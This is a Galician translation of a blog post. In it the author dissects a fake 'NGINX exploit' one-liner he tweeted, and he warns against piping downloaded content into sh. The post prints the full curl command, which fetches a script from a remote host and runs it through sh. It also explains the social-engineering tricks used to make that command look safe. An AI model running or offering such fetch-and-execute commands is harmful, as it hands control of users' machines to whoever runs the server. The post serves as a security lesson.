Nota. transl.:
TL;DR: Non utilices a canalización de ficheiros en sh ou bash baixo ningunha circunstancia. Esta é unha boa forma de perder o control do teu ordenador.
Quero compartir convosco unha pequena historia sobre unha explotación cómica de PoC que se creou o 31 de maio. Apareceu pronto en resposta ás noticias de
Despois de rematar de traballar nunha nova técnica de ofuscación en curl, citei o tweet orixinal e "filtrei un PoC funcionando" consistente nunha única liña de código que supostamente explota a vulnerabilidade descuberta. Por suposto, isto foi unha tontería total. Supuxen que estaría inmediatamente exposto, e que ao mellor recibiría un par de retuits (vai ben).
Con todo, non podía imaxinar o que pasou despois. A popularidade do meu tweet disparouse. Sorprendentemente, polo momento (15:00 hora de Moscova o 1 de xuño) poucas persoas se deron conta de que se trata dunha falsificación. Moita xente o retuitea sen comprobalo en absoluto (e menos admirando os fermosos gráficos ASCII que produce).
Mira que bonito é!
Aínda que todos estes bucles e cores son xeniais, está claro que a xente tiña que executar código na súa máquina para velos. Afortunadamente, os navegadores funcionan do mesmo xeito e, combinado co feito de que realmente non quería meterme en problemas legais, o código enterrado no meu sitio só facía chamadas de eco sen tentar instalar ou executar ningún código adicional.
Pequena digresión:
curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost
Enxeñaría socioelectrónica (SEE): algo máis que phishing
A seguridade e a familiaridade foron unha parte importante deste experimento. Creo que son os que levaron ao seu éxito. A liña de comandos implicaba claramente a seguridade ao referirse a "127.0.0.1" (o coñecido host local). Localhost considérase seguro e os datos nel nunca saen do teu ordenador.
A familiaridade foi o segundo compoñente clave SEE do experimento. Dado que o público obxectivo estaba formado principalmente por persoas familiarizadas cos conceptos básicos da seguridade informática, era importante crear código para que partes del parecían familiares e familiares (e, polo tanto, seguras). Tomar prestados elementos de vellos conceptos de exploit e combinalos dun xeito inusual demostrou ser moi exitoso.
A continuación móstrase unha análise detallada do one-liner. Todo nesta lista se usa natureza cosmética, e practicamente non se require nada para o seu funcionamento real.
Que compoñentes son realmente necesarios? Isto -gsS
, -O 0x0238f06a
, |sh
e o propio servidor web. O servidor web non contiña ningunha instrución maliciosa, senón que simplemente serviu gráficos ASCII mediante comandos echo
no guión contido en index.html
. Cando o usuario introduciu unha liña con |sh
no medio, index.html
cargado e executado. Afortunadamente, os custodios do servidor web non tiñan malas intencións.
-
../../../%00
— representa ir máis aló do directorio; -
ngx_stream_module.so
— camiño a un módulo NGINX aleatorio; -
/bin/sh%00<'protocol:TCP'
- supostamente estamos lanzando/bin/sh
na máquina de destino e redirixe a saída á canle TCP; -
-O 0x0238f06a#PLToffset
- ingrediente secreto, complementado#PLToffset
, para parecer unha compensación de memoria contida dalgún xeito no PLT; -
|sh;
- outro fragmento importante. Necesitabamos redirixir a saída a sh/bash para executar o código procedente do servidor web atacante situado en0x0238f06a
(2.56.240.x
); -
nc /dev/tcp/localhost
- un maniquí no que netcat se refire/dev/tcp/localhost
para que todo pareza de novo seguro. De feito, non fai nada e está incluído na liña da beleza.
Conclúe así a decodificación do guión dunha liña e a discusión de aspectos da "enxeñaría socioelectrónica" (phishing intrincado).
Configuración do servidor web e contramedidas
Dado que a gran maioría dos meus subscritores son infosec/hackers, decidín facer o servidor web un pouco máis resistente ás expresións de "interese" pola súa parte, só para que os rapaces tivesen algo que facer (e sería divertido montar). Non vou enumerar aquí todas as trampas xa que o experimento aínda está en curso, pero aquí tes algunhas cousas que fai o servidor:
- Supervisa activamente os intentos de distribución en determinadas redes sociais e substitúe varias miniaturas de vista previa para animar ao usuario a facer clic na ligazón.
- Redirixe Chrome/Mozilla/Safari/etc ao vídeo promocional de Thugcrowd en lugar de mostrar o script de shell.
- Observa sinais OBVIOS de intrusión/piratería flagrante e despois comeza a redirixir as solicitudes aos servidores da NSA (¡ha!).
- Instala un troiano, así como un rootkit da BIOS, en todos os ordenadores cuxos usuarios visitan o host desde un navegador normal (¡bromeza!).
Unha pequena parte de antímeros
Neste caso, o meu único obxectivo era dominar algunhas das características de Apache -en particular, as regras xeniais para redireccionar as solicitudes- e pensei: por que non?
Explotación de NGINX (¡Real!)
Subscribirse a
Fonte: www.habr.com